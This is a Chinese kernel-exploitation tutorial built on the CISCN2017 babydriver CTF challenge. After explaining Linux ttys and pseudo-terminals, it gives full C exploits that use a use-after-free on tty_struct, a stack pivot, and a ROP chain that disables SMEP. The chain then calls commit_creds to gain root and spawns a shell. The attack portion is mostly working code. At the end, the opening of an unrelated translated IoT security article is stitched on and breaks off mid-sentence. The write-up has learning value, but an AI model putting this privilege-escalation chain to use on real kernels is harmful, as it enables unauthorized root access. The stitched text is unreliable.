> 虚拟终端和控制台的差别需要参考历史。在以前，终端是通过串口连接上的，不是计算机本身就有的设备，而控制台是计算机本身就有的设备，一个计算机只有一个控制台。
>
> 简单的说， **控制台是直接和计算机相连接的原生设备，终端是通过电缆、网络等等和主机连接的设备**
>
> 计算机启动的时候，所有的信息都会显示到控制台上，而不会显示到终端上。也就是说，控制台是计算机的基本设备，而终端是附加设备。
>
> 由于控制台也有终端一样的功能，控制台有时候也被模糊的统称为终端。
>
> 计算机操作系统中，与终端不相关的信息，比如内核消息，后台服务消息，都可以显示到控制台上，但不会显示到终端上。
>
> 由于时代的发展，硬件资源的丰富，终端和控制台的概念已经慢慢淡化。
这种虚拟终端的切换与我们X11中图形界面中多个终端的切换不同，它属于 **更高级别终端的切换** 。我们日常所使用的图形界面下的终端，属于某个
**虚拟图形终端界面** 下的多个 **伪终端** 。
可以通过键入 `Ctrl+Alt+F1` （其中的 F **x** 表示切换至第 **x** 个终端，例如 F1）来切换虚拟终端。
> tty0则是当前所使用虚拟终端的一个别名，系统所产生的信息会发送到该终端上。
默认情况下，F1-F6均为字符终端界面，F7-F12为图形终端界面。
> 当切换至字符终端界面后，可再次键入 `Ctrl+Alt+F7`切回图形终端界面。
4. 伪终端 （ **/dev/pty** ）： **伪终端(Pseudo Terminal)** 是成对的 **逻辑** 终端设备，其行为与普通终端非常相似。所不同的是伪终端没有对应的硬件设备，主要目的是实现双向信道，为其他程序提供终端形式的接口。当我们远程连接到主机时，与主机进行交互的终端的类型就是伪终端，而且日常使用的图形界面中的多个终端也全都是伪终端。伪终端的两个终端设备分别称为 master 设备和 slave 设备，其中 slave 设备的行为与普通终端无异。当某个程序把某个 master 设备看作终端设备并进行读写，则该读写操作将实际反应至该逻辑终端设备所对应的另一个 slave 设备。通常 slave 设备也会被其他程序用于读写。因此这两个程序便可以通过这对逻辑终端来进行通信。
现代 linux 主要使用 **UNIX 98 pseudoterminals** 标准，即 **pts(pseudo-terminal slave,
/dev/pts/n)** 和 **ptmx(pseudo-terminal master, /dev/ptmx)** 搭配来实现 pty。
伪终端的使用一会将在下面详细说明。
5. 其他终端 （诸如 **/dev/ttyprintk** 等等）。这类终端通常是用于特殊的目的，例如 **/dev/ttyprintk** 直接与内核缓冲区相连：
##### 2) 伪终端的使用
伪终端的具体实现分为两种
* UNIX 98 pseudoterminals，涉及 `/dev/ptmx` （master）和 `/dev/pts/*`（slave）
* 老式 BSD pseudoterminals，涉及 `/dev/pty[p-za-e][0-9a-f]`(master) 和 `/dev/tty[p-za-e][0-9a-f]`(slave)
这里我们只介绍 UNIX 98 pseudoterminals。
`/dev/ptmx`这个设备文件主要用于打开一对伪终端设备。当某个进程 open 了 `/dev/ptmx`后，该进程将获取到一个指向
**新伪终端master设备（PTM）** 的文件描述符，同时对应的 **新伪终端slave设备（PTS）** 将在
`/dev/pts/`下被创建。不同进程打开 `/dev/ptmx` 后所获得到的 PTM、PTS 都是互不相同的。
进程打开 /dev/ptmx 有两种方式
1. 手动使用 `open("/dev/ptmx", O_RDWR | O_NOCTTY)` 打开
2. 通过标准库函数 `getpt`
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <stdlib.h>
int getpt(void);
3. 通过标准库函数 `posix_openpt`
#include <stdlib.h>
#include <fcntl.h>
int posix_openpt(int flags);
> 上述几种方式完全等价，只是 **使用标准库函数** 的方式会更通用一点，因为 ptmx 在某些 linux 发行版上可能不位于
> `/dev/ptmx`，同时标准库函数还会做其他额外的检测逻辑。
进程可以调用`ptsname(ptm_fd)`来获取到对应的 PTS 的路径。
需要注意的是，必须先顺序调用以下两个函数后才能打开 PTS:
1. `grantpt(ptm_fd)`：更改 slave 的模式和所有者，获取其所有权
2. `unlockpt(ptm_fd)`：对 slave 解锁
伪终端主要用于两个应用场景
* 终端仿真器，为其他远程登录程序（例如 ssh）提供终端功能
* 可用于向 **通常拒绝从管道读取输入** 的程序（例如 su 和 passwd）发送输入
上述几步是使用伪终端所必须调用的一些底层函数。但在实际的伪终端编程中，更加常用的是以下几个函数：
> 我们可以通过阅读这些函数的源代码来了解伪终端的使用方式。
* `openpty`：找到一个空闲的伪终端，并将打开好后的 master 和 slave 终端的文件描述符返回。源代码如下:
/* Create pseudo tty master slave pair and set terminal attributes
according to TERMP and WINP. Return handles for both ends in
AMASTER and ASLAVE, and return the name of the slave end in NAME. */
int
openpty (int *amaster, int *aslave, char *name,
const struct termios *termp, const struct winsize *winp)
{
#ifdef PATH_MAX
char _buf[PATH_MAX];
#else
char _buf[512];
#endif
char *buf = _buf;
int master, ret = -1, slave = -1;
*buf = '\0';
master = getpt ();
if (master == -1)
return -1;
if (grantpt (master))
goto on_error;
if (unlockpt (master))
goto on_error;
#ifdef TIOCGPTPEER
/* Try to allocate slave fd solely based on master fd first. */
slave = ioctl (master, TIOCGPTPEER, O_RDWR | O_NOCTTY);
#endif
if (slave == -1)
{
/* Fallback to path-based slave fd allocation in case kernel doesn't
* support TIOCGPTPEER.
*/
if (pts_name (master, &buf, sizeof (_buf)))
goto on_error;
slave = open (buf, O_RDWR | O_NOCTTY);
if (slave == -1)
goto on_error;
}
/* XXX Should we ignore errors here? */
if (termp)
tcsetattr (slave, TCSAFLUSH, termp);
#ifdef TIOCSWINSZ
if (winp)
ioctl (slave, TIOCSWINSZ, winp);
#endif
*amaster = master;
*aslave = slave;
if (name != NULL)
{
if (*buf == '\0')
if (pts_name (master, &buf, sizeof (_buf)))
goto on_error;
strcpy (name, buf);
}
ret = 0;
on_error:
if (ret == -1) {
close (master);
if (slave != -1)
close (slave);
}
if (buf != _buf)
free (buf);
return ret;
}
* `login_tty`：用于实现在指定的终端上启动登录会话。源代码如下所示：
int login_tty (int fd)
{
// 启动新会话
(void) setsid();
// 设置为当前 fd 为控制终端
#ifdef TIOCSCTTY
if (ioctl(fd, TIOCSCTTY, (char *)NULL) == -1)
return (-1);
#else
{
/* This might work. */
char *fdname = ttyname (fd);
int newfd;
if (fdname)
{
if (fd != 0)
(void) close (0);
if (fd != 1)
(void) close (1);
if (fd != 2)
(void) close (2);
newfd = open (fdname, O_RDWR);
(void) close (newfd);
}
}
#endif
while (dup2(fd, 0) == -1 && errno == EBUSY)
;
while (dup2(fd, 1) == -1 && errno == EBUSY)
;
while (dup2(fd, 2) == -1 && errno == EBUSY)
;
if (fd > 2)
(void) close(fd);
return (0);
}
* `forkpty`：整合了`openpty`, `fork` 和 `login_tty`，在网络服务程序可用于为新登录用户打开一对伪终端，并创建相应的会话子进程。源代码如下：
int
forkpty (int *amaster, char *name, const struct termios *termp,
const struct winsize *winp)
{
int master, slave, pid;
// 启动新 pty
if (openpty (&master, &slave, name, termp, winp) == -1)
return -1;
switch (pid = fork ())
{
case -1:
close (master);
close (slave);
return -1;
case 0:
/* Child. */
close (master);
if (login_tty (slave))
_exit (1);
return 0;
default:
/* Parent. */
*amaster = master;
close (slave);
return pid;
}
}
##### 3) tty_struct 结构的利用
当我们执行 `open("/dev/ptmx", flag)` 时，内核会通过以下函数调用链，分配一个 `struct tty_struct` 结构体：
ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
`struct tty_struct` 的结构如下所示：
> sizeof(struct tty_struct) == 0x2e0
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};
注意到第五个字段 `const struct tty_operations *ops`，`struct
tty_operations`结构体实际上是多个函数指针的集合：
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
我们可以试着通过 UAF, 修改 **新** 分配的 tty_struct 上的 `const struct tty_operations
*ops`，使其指向一个伪造的 `tty_operations`结构体，这样就可以搭配一些操作（例如 open、ioctl 等等）来劫持控制流。
> 注：tty_operations 函数指针的使用，位于`drivers/tty/tty_io.c`的各类 `tty_xxx`函数中。
但由于开启了 SMEP 保护，此时的控制流 **只能在内核代码中执行** ，不能跳转至用户代码。
##### 4) ROP 利用
为了达到提权目的，我们需要完成以下几件事情：
1. 提权
2. 绕过 SMEP，执行用户代码
###### 4.1) 劫持栈指针
我们需要通过 ROP 来完成上述操作，但问题是， **用户无法控制内核栈** 。因此我们必须使用一些特殊 gadget 来 **将栈指针劫持到用户空间**
，之后再利用用户空间上的 ROP 链进行一系列控制流跳转。
获取 gadget 的方式有很多。可以使用之前用的 `ROPgadget` 工具，优点是可以将分析结果通过管道保存至文件中，但缺点是该工具在 kernel
层面上会跑的很慢。
ROPgadget --binary vmlinux
有个速度比较快的工具可以试试，那就是 `ropper`工具：
pip3 install ropper
ropper --file vmlinux --console
我们可以手动构造一个 **fake_tty_operations** ，并修改其中的 `write` 函数指针指向一个 xchg 指令。这样当对
`/dev/ptmx` 执行 write 操作时，内核就会通过以下调用链：
> `tty_write` -> `do_tty_write` -> `do_tty_write` -> `n_tty_write` ->
> `tty->ops->write`
进一步使用到 `tty->ops->write`函数指针，最终执行 `xchg` 指令。
但问题是，执行什么样的 xchg 指令？通过动态调试与 IDA 静态分析，最终找到了实际调用 `tty->ops->write`的指令位置：
.text:FFFFFFFF814DC0C3 call qword ptr [rax+38h]
由于当控制流执行至此处时，只有 `%rax` 是用户可控的（即`fake_tty_operations`基地址），因此我们尝试使用以下 gadget，劫持
`%rsp` 指针至用户空间：
0xffffffff8100008a : xchg eax, esp ; ret
> 注意：`xchg eax, esp`将 **清空两个寄存器的高位部分** 。因此执行完成后，%rsp 的高四字节为0，此时指向用户空间。我们可以使用
> mmap 函数占据这块内存，并放上 ROP 链。
以下是劫持栈指针的部分代码：
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0x2e0);
close(fd1);
// 申请 tty_struct
int master_fd = open("/dev/ptmx", O_RDWR);
// 构造一个 fake tty_operators
u_int64_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0,
xchg_eax_esp_addr, // int (*write)(struct tty_struct*, const unsigned char *, int)
};
printf("[+] fake_tty_ops constructed\n");
u_int64_t hijacked_stack_addr = ((u_int64_t)fake_tty_ops & 0xffffffff);
printf("[+] hijacked_stack addr: %p\n", (char*)hijacked_stack_addr);
char* fake_stack = NULL;
if ((fake_stack = mmap(
(char*)(hijacked_stack_addr & (~0xfff)), // addr, 页对齐
0x1000, // length
PROT_READ | PROT_WRITE, // prot
MAP_PRIVATE | MAP_ANONYMOUS, // flags
-1, // fd
0) // offset
) == MAP_FAILED)
perror("mmap");
// 调试时先装载页面
fake_stack[0] = 0;
printf("[+] fake_stack addr: %p\n", fake_stack);
// 读取 tty_struct 结构体的所有数据
int ops_ptr_offset = 4 + 4 + 8 + 8;
char overwrite_mem[ops_ptr_offset + 8];
char** ops_ptr_addr = (char**)(overwrite_mem + ops_ptr_offset);
read(fd2, overwrite_mem, sizeof(overwrite_mem));
printf("[+] origin ops ptr addr: %p\n", *ops_ptr_addr);
// 修改并覆写 tty_struct 结构体
*ops_ptr_addr = (char*)fake_tty_ops;
write(fd2, overwrite_mem, sizeof(overwrite_mem));
printf("[+] hacked ops ptr addr: %p\n", *ops_ptr_addr);
// 触发 tty_write
// 注意使用 write 时， buf 指针必须有效，否则会提前返回 EFAULT
int buf[] = {0};
write(master_fd, buf, 8);
可以看到栈指针已经成功被劫持到用户空间中：
###### 4.2) 关闭 SMEP + ret2usr提权
劫持栈指针后，我们现在可以尝试提权。正常来说，在 **内核** 里需要执行以下代码来进行提权：
struct cred * root_cred = prepare_kernel_cred(NULL);
commit_creds(root_cred);
其中，`prepare_kernel_cred`函数用于获取传入 `task_struct` 结构指针的 cred 结构。需要注意的是，如果传入的指针是
**NULL** ，则 **函数返回的 cred 结构将是 init_cred，其中uid、gid等等均为 root 级别** 。
`commit_creds`函数用于将当前进程的 `cred` 更新为新传入的 `cred` 结构，如果我们将当前进程的 cred 更新为 root 等级的
cred，则达到我们提权的目的。
为了利用简便，我们可以先关闭 SMEP，跳转进用户代码中直接执行预编译好的提权指令。
SMEP 标志在寄存器 CR4 上，因此我们可以通过重设 CR4 寄存器来关闭 SMEP，最后提权：
我们先看一下当前的 cr4 寄存器的值
之后只要将 cr4 覆盖为 0x6f0 即可。
相关实现如下所示：
void set_root_cred(){
void* (*prepare_kernel_cred)(void*) = (void* (*)(void*))prepare_kernel_cred_addr;
void (*commit_creds)(void*) = (void (*)(void*))commit_creds_addr;
void * root_cred = prepare_kernel_cred(NULL);
commit_creds(root_cred);
}
int main()
{
[...]
// 准备 ROP
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
hijacked_stack_ptr[0] = pop_rdi_addr; // pop rdi; ret
hijacked_stack_ptr[1] = 0x6f0; // new cr4
hijacked_stack_ptr[2] = mov_cr4_rdi_pop_rbp_addr; // mov cr4, rdi; pop rbp; ret;
hijacked_stack_ptr[3] = 0; // dummy
hijacked_stack_ptr[4] = (u_int64_t)set_root_cred; // set root
// todo ROP
[...]
}
###### 4.3) 返回用户态 + get shell
> 当我们提权了当前进程后，剩下要做的事情就是 **返回至用户态** 并启动新shell。
>
> 可能有小伙伴会问，既然都劫持了内核控制流了，那是不是可以直接启动 shell ？为什么还要返回至用户态？
>
>
> 个人的理解是，劫持内核控制流后，由于改变了内核的正常运行逻辑，因此此时内核鲁棒性降低，稍微敏感的一些操作都有可能会导致内核挂掉。最稳妥的方式是回到更加稳定的用户态中，而且
> root 权限的用户态程序同样可以做到内核权限所能做到的事情。
>
> 除了上面所说的以外，还有一个很重要的原因是：一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。
如何从内核态返回至用户态中？我们可以从 syscall 的入口代码入手，先看看这部分代码：
ENTRY(entry_SYSCALL_64)
SWAPGS_UNSAFE_STACK
GLOBAL(entry_SYSCALL_64_after_swapgs)
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
ENABLE_INTERRUPTS(CLBR_NONE)
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
可以看到，控制流以进入入口点后，并立即执行`swapgs`指令，将当前 GS 寄存器切换成 kernel
GS，之后切换栈指针至内核栈，并在内核栈中构造结构体 `pt_regs`。
该结构体声明如下：
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
结合动态调试可以发现，在控制流到达 syscall 入口点之前，`pt_regs`结构体中的 `rip`、`cs`、`eflags`、`rsp` 以及
`ss` 五个寄存器均已压栈。
我们还可以在该文件中找到下面的代码片段
opportunistic_sysret_failed:
SWAPGS
jmp restore_c_regs_and_iret
[...]
/*
* At this label, code paths which return to kernel and to user,
* which come from interrupts/exception and from syscalls, merge.
*/
GLOBAL(restore_regs_and_iret)
RESTORE_EXTRA_REGS
restore_c_regs_and_iret:
RESTORE_C_REGS
REMOVE_PT_GPREGS_FROM_STACK 8
INTERRUPT_RETURN
根据上面的分析信息，我们不难推断出，若想从内核态返回至用户态，则需要依次完成以下两件事情：
* 再执行一次 swapgs 指令，将当前的 GS 寄存器从 kernel gs 换回 user gs
* 手动在栈上构造 iret 指令所需要的5个寄存器值，然后调用 iret 指令。
因此最终实现的部分代码如下：
void get_shell() {
printf("[+] got shell, welcome %s\n", (getuid() ? "user" : "root"));
system("/bin/sh");
}
unsigned long user_cs, user_eflags, user_rsp, user_ss;
void save_iret_data() {
__asm__ __volatile__ ("mov %%cs, %0" : "=r" (user_cs));
__asm__ __volatile__ ("pushf");
__asm__ __volatile__ ("pop %0" : "=r" (user_eflags));
__asm__ __volatile__ ("mov %%rsp, %0" : "=r" (user_rsp));
__asm__ __volatile__ ("mov %%ss, %0" : "=r" (user_ss));
}
int main() {
save_iret_data();
printf(
"[+] iret data saved.\n"
" user_cs: %ld\n"
" user_eflags: %ld\n"
" user_rsp: %p\n"
" user_ss: %ld\n",
user_cs, user_eflags, (char*)user_rsp, user_ss
);
[...]
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int idx = 0;
hijacked_stack_ptr[idx++] = pop_rdi_addr; // pop rdi; ret
hijacked_stack_ptr[idx++] = 0x6f0;
hijacked_stack_ptr[idx++] = mov_cr4_rdi_pop_rbp_addr; // mov cr4, rdi; pop rbp; ret;
hijacked_stack_ptr[idx++] = 0; // dummy
hijacked_stack_ptr[idx++] = (u_int64_t)set_root_cred;
// 新添加的 ROP 链
hijacked_stack_ptr[idx++] = swapgs_pop_rbp_addr;
hijacked_stack_ptr[idx++] = 0; // dummy
hijacked_stack_ptr[idx++] = iretq_addr;
hijacked_stack_ptr[idx++] = (u_int64_t)get_shell; // iret_data.rip
hijacked_stack_ptr[idx++] = user_cs;
hijacked_stack_ptr[idx++] = user_eflags;
hijacked_stack_ptr[idx++] = user_rsp;
hijacked_stack_ptr[idx++] = user_ss;
[...]
}
###### 4.4) ROP 注意点
在往常的用户层面的利用，我们无需关注 **缺页错误**
这样的一个无关紧要的异常。然而在内核利用中，缺页错误往往非常致命（不管是否是可恢复的，即正常的缺页错误也很致命），大概率会直接引发 **double
fault** ，致使内核重启：
因此在构造 ROP 链时，应尽量避免在内核中直接引用那些 **尚未装载页面的内存页** 。
再一个问题是单步调试。在调试内核 ROP
链时，有概率会在单步执行时直接跑炸内核，但先给该位置下断点后，再跑至该位置则执行正常。这个调试……仁者见仁智者见智吧（滑稽）
###### 4.5) 完整 exploit
完整的 exploit 如下所示：
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define xchg_eax_esp_addr 0xffffffff8100008a
#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420
#define pop_rdi_addr 0xffffffff810d238d
#define mov_cr4_rdi_pop_rbp_addr 0xffffffff81004d80
#define swapgs_pop_rbp_addr 0xffffffff81063694
#define iretq_addr 0xffffffff814e35ef
void set_root_cred(){
void* (*prepare_kernel_cred)(void*) = (void* (*)(void*))prepare_kernel_cred_addr;
void (*commit_creds)(void*) = (void (*)(void*))commit_creds_addr;
void * root_cred = prepare_kernel_cred(NULL);
commit_creds(root_cred);
}
void get_shell() {
printf("[+] got shell, welcome %s\n", (getuid() ? "user" : "root"));
system("/bin/sh");
}
unsigned long user_cs, user_eflags, user_rsp, user_ss;
void save_iret_data() {
__asm__ __volatile__ ("mov %%cs, %0" : "=r" (user_cs));
__asm__ __volatile__ ("pushf");
__asm__ __volatile__ ("pop %0" : "=r" (user_eflags));
__asm__ __volatile__ ("mov %%rsp, %0" : "=r" (user_rsp));
__asm__ __volatile__ ("mov %%ss, %0" : "=r" (user_ss));
}
int main() {
save_iret_data();
printf(
"[+] iret data saved.\n"
" user_cs: %ld\n"
" user_eflags: %ld\n"
" user_rsp: %p\n"
" user_ss: %ld\n",
user_cs, user_eflags, (char*)user_rsp, user_ss
);
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0x2e0);
close(fd1);
// 申请 tty_struct
int master_fd = open("/dev/ptmx", O_RDWR);
// 构造一个 fake tty_operators
u_int64_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0,
xchg_eax_esp_addr, // int (*write)(struct tty_struct*, const unsigned char *, int)
};
printf("[+] fake_tty_ops constructed\n");
u_int64_t hijacked_stack_addr = ((u_int64_t)fake_tty_ops & 0xffffffff);
printf("[+] hijacked_stack addr: %p\n", (char*)hijacked_stack_addr);
char* fake_stack = NULL;
if ((fake_stack = mmap(
(char*)((hijacked_stack_addr & (~0xffff))), // addr, 页对齐
0x10000, // length
PROT_READ | PROT_WRITE, // prot
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, // flags
-1, // fd
0) // offset
) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int idx = 0;
hijacked_stack_ptr[idx++] = pop_rdi_addr; // pop rdi; ret
hijacked_stack_ptr[idx++] = 0x6f0;
hijacked_stack_ptr[idx++] = mov_cr4_rdi_pop_rbp_addr; // mov cr4, rdi; pop rbp; ret;
hijacked_stack_ptr[idx++] = 0; // dummy
hijacked_stack_ptr[idx++] = (u_int64_t)set_root_cred;
hijacked_stack_ptr[idx++] = swapgs_pop_rbp_addr;
hijacked_stack_ptr[idx++] = 0; // dummy
hijacked_stack_ptr[idx++] = iretq_addr;
hijacked_stack_ptr[idx++] = (u_int64_t)get_shell; // iret_data.rip
hijacked_stack_ptr[idx++] = user_cs;
hijacked_stack_ptr[idx++] = user_eflags;
hijacked_stack_ptr[idx++] = user_rsp;
hijacked_stack_ptr[idx++] = user_ss;
printf("[+] privilege escape ROP prepared\n");
// 读取 tty_struct 结构体的所有数据
int ops_ptr_offset = 4 + 4 + 8 + 8;
char overwrite_mem[ops_ptr_offset + 8];
char** ops_ptr_addr = (char**)(overwrite_mem + ops_ptr_offset);
read(fd2, overwrite_mem, sizeof(overwrite_mem));
printf("[+] origin ops ptr addr: %p\n", *ops_ptr_addr);
// 修改并覆写 tty_struct 结构体
*ops_ptr_addr = (char*)fake_tty_ops;
write(fd2, overwrite_mem, sizeof(overwrite_mem));
printf("[+] hacked ops ptr addr: %p\n", *ops_ptr_addr);
// 触发 tty_write
// 注意使用 write 时， buf 指针必须有效，否则会提前返回 EFAULT
int buf[] = {0};
write(master_fd, buf, 8);
return 0;
}
运行效果：
下面是一个简化版的 exploit:
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define xchg_eax_esp_addr 0xffffffff8100008a
#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420
#define pop_rdi_addr 0xffffffff810d238d
#define mov_cr4_rdi_pop_rbp_addr 0xffffffff81004d80
#define swapgs_pop_rbp_addr 0xffffffff81063694
#define iretq_addr 0xffffffff814e35ef
void set_root_cred(){
void* (*prepare_kernel_cred)(void*) = prepare_kernel_cred_addr;
void (*commit_creds)(void*) = commit_creds_addr;
commit_creds(prepare_kernel_cred(NULL));
}
void get_shell() {
system("/bin/sh");
}
unsigned long user_cs, user_eflags, user_rsp, user_ss;
void save_iret_data() {
__asm__ __volatile__ ("mov %%cs, %0" : "=r" (user_cs));
__asm__ __volatile__ ("pushf");
__asm__ __volatile__ ("pop %0" : "=r" (user_eflags));
__asm__ __volatile__ ("mov %%rsp, %0" : "=r" (user_rsp));
__asm__ __volatile__ ("mov %%ss, %0" : "=r" (user_ss));
}
int main() {
save_iret_data();
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 65537, 0x2e0);
close(fd1);
int master_fd = open("/dev/ptmx", O_RDWR);
u_int64_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0,
xchg_eax_esp_addr
};
u_int64_t hijacked_stack_addr = ((u_int64_t)fake_tty_ops & 0xffffffff);
char* fake_stack = mmap(
(hijacked_stack_addr & (~0xffff)),
0x10000,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
-1,
0);
u_int64_t rop_chain_mem[] = {
pop_rdi_addr, 0x6f0,
mov_cr4_rdi_pop_rbp_addr, 0, set_root_cred,
swapgs_pop_rbp_addr, 0,
iretq_addr, get_shell, user_cs, user_eflags, user_rsp, user_ss
};
memcpy(hijacked_stack_addr, rop_chain_mem, sizeof(rop_chain_mem));
int ops_ptr_offset = 4 + 4 + 8 + 8;
char overwrite_mem[ops_ptr_offset + 8];
char** ops_ptr_addr = overwrite_mem + ops_ptr_offset;
read(fd2, overwrite_mem, sizeof(overwrite_mem));
*ops_ptr_addr = fake_tty_ops;
write(fd2, overwrite_mem, sizeof(overwrite_mem));
int buf[] = {0};
write(master_fd, buf, 8);
return 0;
}
## 五、参考
* [CTF Wiki – Linux Platform Kernel Mode](https://wiki.x10sec.org/pwn/linux/kernel-mode/environment/readme/)
* [How to use KGDB – LinuxLink](https://linuxlink.timesys.com/docs/how_to_use_kgdb)
* [kernelexp学习笔记](https://d1nn3r.github.io/2019/07/27/kernelexp/)
* [【Writeup】CISCN2017_Pwn_babydriver – CSDN](https://blog.csdn.net/m0_38100569/article/details/100673103)
* _[Linux Device Drivers, Third Edition – Chapter 3 Char Drivers](https://lwn.net/Kernel/LDD3/)_
* [Linux下使用class_create,device_create自动创建设备文件结点](https://blog.csdn.net/tq384998430/article/details/54342044)
* [Linux下tty/pty/pts/ptmx详解](https://www.cnblogs.com/bittorrent/p/3789193.html)
* [Linux终端简介与pty编程](https://www.cnblogs.com/dux2016/articles/6236131.html)
* Linux manual page | 社区文章 |
# 物联网大乐透：寻找绝对安全的物联网设备
##### 译文声明
本文是翻译文章，文章原作者 Kaspersky Lab，文章来源：securelist.com
原文地址：<https://securelist.com/iot-lottery/83300/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 一、前言
黑色星期五及网络星期一（Cyber
